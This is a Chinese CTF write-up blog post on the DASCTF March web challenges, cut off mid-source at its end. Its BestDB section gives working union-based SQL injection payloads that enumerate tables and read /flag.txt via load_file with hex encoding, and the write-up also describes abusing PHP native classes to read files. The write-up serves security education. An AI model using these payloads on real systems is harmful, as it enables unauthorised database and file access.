DASCTF-三月赛-web题复现

本文详细介绍了DASCTF三月赛的Web题目,包括BestDB的Union SQL注入,ez_serialize利用PHP原生类读取文件,以及ez_login的SSRF与SQL盲注组合攻击。在BestDB中,通过闭合双引号绕过过滤,进行Union查询获取flag。ez_serialize中,利用DirectoryIterator和SplFileObject类读取文件内容。ez_login部分,通过构造PHP_SESSION_UPLOAD_PROGRESS sessionID绕过会话检查,结合文件包含漏洞实现攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


title: DASCTF 三月赛 web题复现
date: 2021-04-07 15:04:52
tags: DASCTF

BestDB

0x01

源码给了查询语句

$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";

过滤单引号,但没过滤双引号,所以选择闭合后面的用户名进行union查询

查表名

query=-1"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
//f1agdas,users

查字段

query=-1"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"%23
//id,f1agdas

查数据

query=-1"/**/union/**/select/**/f1agdas,2,3/**/from/**/f1agdas%23
//flag.txt

返回一个文件名,使用load_file读取/flag.txt获得flag,flag被过滤了,可以使用16进制编码绕过

query=-1"/**/union/**/select/**/load_file(0x2F666C61672E747874),2,3%23

ez_serialize

0x01

题目给了源码,序列化的题目,但是源码中并没有可以利用的类,所以是php原生类的利用

spl,标准php类库,里面存着一些php原生类,其中有可以遍历目录或读取文件

DirectoryIterator 遍历目录 直接echo会输出目录下的.(即表示当前目录的符号)

FilesystemIterator 遍历目录 直接echo会输出目录下第一个文件夹或文件名

SplFileObject 读取文件内容,按行读取,跨行需要遍历

源码如下

 <?php
error_reporting(0);
highlight_file(__FILE__);

class A{
   
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
   
        $this->class = "B";
        $this<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值